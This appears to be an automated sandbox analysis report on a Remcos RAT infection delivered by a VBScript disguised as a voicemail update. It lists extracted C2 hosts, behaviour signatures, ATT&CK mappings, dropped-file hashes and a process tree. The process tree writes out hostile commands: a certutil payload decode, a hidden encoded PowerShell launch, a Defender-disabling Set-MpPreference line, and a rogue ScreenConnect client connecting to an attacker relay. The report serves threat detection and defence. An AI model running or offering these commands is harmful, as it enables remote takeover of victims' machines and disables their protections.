Overview

overview

10

Static

static

1

install-wi...il.vbs

windows10-2004-x64

10

install-wi...il.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 12:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    install-windows-update-to-play-voicemail.vbs
  • Size 7.2MB
  • Sample260930-pjvpxafa32
  • SHA256 2ea2157403e23b6607fc317c4136ac1c0292f2876f8dfac6fdce2cb1138ba228
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoorremotehostdefense_evasiondiscoveryexecutionremcospersistenceprivilege_escalationransomwareratrevoked_codesignsuricatatrojan

Malware Config

Extracted

Family

  • remcos

Version

  • 7.3.1 Pro

Botnet

  • RemoteHost

C2

  • www.remoteiconnect.com:2404

  • www.remoteiconnect1.com:2404

  • www.remoteiconnect2.com:2404

  • www.remoteiconnect3.com:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-28TLC7

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 7 IoCs

    Network activity triggered a Suricata alert

    suricataremcos
  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 16 IoCs

    Network activity triggered a Suricata alert

    suricataremcos
  • UAC bypass 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 22 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Enumerates connected drives 3 TTPs 49 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 23 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 37 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • System policy modification 1 TTPs 3 IoCs
    defense_evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install-windows-update-to-play-voicemail.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c type nul > "C:\Users\Admin\AppData\Local\Temp\install-windows-update-to-play-voicemail.vbs:Zone.Identifier" 2>nul
      2⤵
      • Executes a command shell one-liner
      • NTFS ADS
      PID:5124
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4556
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5164
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:4684
      • C:\Windows\System32\certutil.exe
        "C:\Windows\System32\certutil.exe" -f -decode "C:\Users\Admin\AppData\Local\Temp\rad61293.tmp.b64" "C:\Users\Admin\AppData\Local\Temp\rad292F7.tmp_cert.bin"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:3432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AE0AVwBBAF8AUABBAFkATABPAEEARAAgAC0AVwBhAGkAdAA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3692
        • C:\Users\Admin\AppData\Local\Temp\payload.exe
          "C:\Users\Admin\AppData\Local\Temp\payload.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4956
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\491cc31c81cd4889\ScreenConnect.ClientSetup.msi"
            4⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            PID:3464
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:6056
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 32C6E7A6A9609914E0A20EBC580B79E2 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4844
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI3965.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240728609 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:676
      • C:\Windows\system32\srtasks.exe
        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
        2⤵
          PID:5060
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 50CE5A3D290ABA79FEA3B86396BD3B58
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:956
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding FAF8CDF41C4007E7BBD2AC3837355206 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:1716
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:4328
      • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.cityofgadewater.com&p=8041&s=48f40353-25a8-42cb-a8c9-38a1f12bd589&k=BgIAAACkAABSU0ExAAgAAAEAAQDlrwvxcSk3k6YeIXjb0IjYO9hs4nbcHzRLTw3IzmJ9diPItpSFmgf4H%2b%2fg0xWN5utkKo7sXqJO393%2f6HpVbbewm06zAF2Aj%2fZeo%2bgUVE0I9a2C3L74Sv02iIeBvicqFHPWnC8fR4qSIZDYWWqAVvozCFfzS4989DNXtx%2bnnZHANKe4X%2fDNsdMNGiWpY0UmDiimJmy1qKRVEYLrlaZVqhLb4bpHM%2fr0fKV3KHcJlQsng8Nnws93HbtRisKGAOvMrYpwke5eiCcvimwRMt57iCrASr06zhPmCcsA73cbhdTx5Qd4iDKhDBee3qXG5VVwD3k5IXqqDivmeZO7HBXVbqyi"
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe" "RunRole" "5eb73eb7-fd91-4345-8c38-a42624b2a4af" "User"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1956
        • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe" "RunRole" "0f0f740a-c849-42c8-bce5-51f3a9cb3e42" "System"
          2⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:3808
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\cjbGmgbcW0mgrun.cmd"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3300
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Enumerates connected drives
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4156
        • C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\32bit-remcos_a.exe
          "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\32bit-remcos_a.exe"
          2⤵
          • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
          • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
          • UAC bypass
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • System policy modification
          PID:5756

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Privilege Escalation

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Defense Evasion

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Deobfuscate/Decode Files or Information

            1
            T1140

            Impair Defenses

            2
            T1562

            Disable or Modify Tools

            2
            T1562.001

            Modify Registry

            3
            T1112

            Credential Access

            Discovery

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            4
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            System Network Configuration Discovery

            1
            T1016

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e5997e2.rbs
            • Path C:\Config.Msi\e5997e2.rbs
            • Size 214KB
            • SHA256 913eb31bf727b608c4f93be900183ce34a2bc360e0507784f1cc0207df83756e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.en-US.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Client.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsAuthenticationPackage.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe.config
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ScreenConnect.WindowsCredentialProvider.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            app.config
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\app.config
            • Size 508B
            • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            system.config
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\system.config
            • Size 947B
            • SHA256 0b4f96f959654ef0768acfe20bda474a8b684243900840e6046ca0382885d504
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            MSI3965.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\MSI3965.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Microsoft.Deployment.WindowsInstaller.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSI3965.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Core.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSI3965.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.InstallerActions.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSI3965.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Windows.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSI3965.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientSetup.msi
            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\491cc31c81cd4889\ScreenConnect.ClientSetup.msi
            • Size 9.5MB
            • SHA256 7c89fe36014e078e229a8050394dcfeae46fac58b5bdef240b34d800bd29f923
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            rad292F7.tmp_cert.bin
            • Path C:\Users\Admin\AppData\Local\Temp\rad292F7.tmp_cert.bin
            • Size 5.4MB
            • SHA256 63e3142f8afedfb3b158b7a50930a10f8cc053d8b9e36588dfb3c43865aa341c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            rad61293.tmp.b64
            • Path C:\Users\Admin\AppData\Local\Temp\rad61293.tmp.b64
            • Size 7.2MB
            • SHA256 c34253ae413b903faa078e871af2830195550ca0072fccf049c3fba8ad14f2a5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSI9E5A.tmp
            • Path C:\Windows\Installer\MSI9E5A.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            32bit-remcos_a.exe
            • Path C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\32bit-remcos_a.exe
            • Size 524KB
            • SHA256 dc85eb21db291759ca7d815ac9b22b226d499b0f4c123f449ac663f533673546
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cjbGmgbcW0mgrun.cmd
            • Path C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\cjbGmgbcW0mgrun.cmd
            • Size 71B
            • SHA256 0cc5eb4e43c86a2f6192ae90f02ef21f46315d87cae9a27070d5504a39d430fb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_05dyz4pv.soj.ps1
            • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_05dyz4pv.soj.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            metadata-2
            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 2e9ac210fbfdb1cd05d26df5d4ae3d1b1535e191e1a01bbe84483b92c7d2dce6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            {fae3b8ac-3a9f-49ab-89da-5e525ea8aec4}_OnDiskSnapshotProp
            • Path \??\Volume{af02990b-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{fae3b8ac-3a9f-49ab-89da-5e525ea8aec4}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 be61e39259fb58b02e1328e942139484467c8cbcf1927660a6e0700ff0ad9e8e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/676-34-0x00000000053D0000-0x00000000053FE000-memory.dmp
            Download

            memory/676-46-0x0000000005710000-0x00000000058BC000-memory.dmp
            Download

            memory/676-42-0x00000000054B0000-0x000000000553C000-memory.dmp
            Download

            memory/676-38-0x0000000005410000-0x000000000541A000-memory.dmp
            Download

            memory/1956-129-0x0000000002C80000-0x0000000002CB6000-memory.dmp
            Download

            memory/1956-134-0x00000000012B0000-0x00000000012C8000-memory.dmp
            Download

            memory/1956-135-0x0000000002CE0000-0x0000000002CF8000-memory.dmp
            Download

            memory/1956-133-0x000000001C0A0000-0x000000001C228000-memory.dmp
            Download

            memory/1956-128-0x0000000000AA0000-0x0000000000B38000-memory.dmp
            Download

            memory/1956-131-0x000000001BD60000-0x000000001BF0C000-memory.dmp
            Download

            memory/1956-130-0x000000001BB20000-0x000000001BBAC000-memory.dmp
            Download

            memory/3692-6-0x000001D26E440000-0x000001D26E462000-memory.dmp
            Download

            memory/3808-137-0x00000000021B0000-0x00000000021F1000-memory.dmp
            Download

            memory/4156-146-0x0000016BB7BF0000-0x0000016BB7C0E000-memory.dmp
            Download

            memory/4156-148-0x0000016BB7BE0000-0x0000016BB7BEA000-memory.dmp
            Download

            memory/4156-147-0x0000016BB7C10000-0x0000016BB7CC2000-memory.dmp
            Download

            memory/4500-108-0x0000000003BE0000-0x0000000003C30000-memory.dmp
            Download

            memory/4500-89-0x00000000039C0000-0x00000000039D8000-memory.dmp
            Download

            memory/4500-120-0x00000000041F0000-0x00000000042C5000-memory.dmp
            Download

            memory/4500-118-0x0000000003F60000-0x0000000003FA1000-memory.dmp
            Download

            memory/4500-116-0x0000000004000000-0x0000000004092000-memory.dmp
            Download

            memory/4500-114-0x0000000003C30000-0x0000000003C66000-memory.dmp
            Download

            memory/4956-12-0x00000000051A0000-0x000000000534C000-memory.dmp
            Download

            memory/4956-11-0x00000000050A0000-0x00000000050C2000-memory.dmp
            Download

            memory/4956-10-0x0000000005110000-0x000000000519C000-memory.dmp
            Download

            memory/4956-9-0x0000000005410000-0x0000000005702000-memory.dmp
            Download

            memory/4956-8-0x0000000000E00000-0x0000000000E08000-memory.dmp
            Download

            memory/4956-13-0x0000000005CC0000-0x000000000627A000-memory.dmp
            Download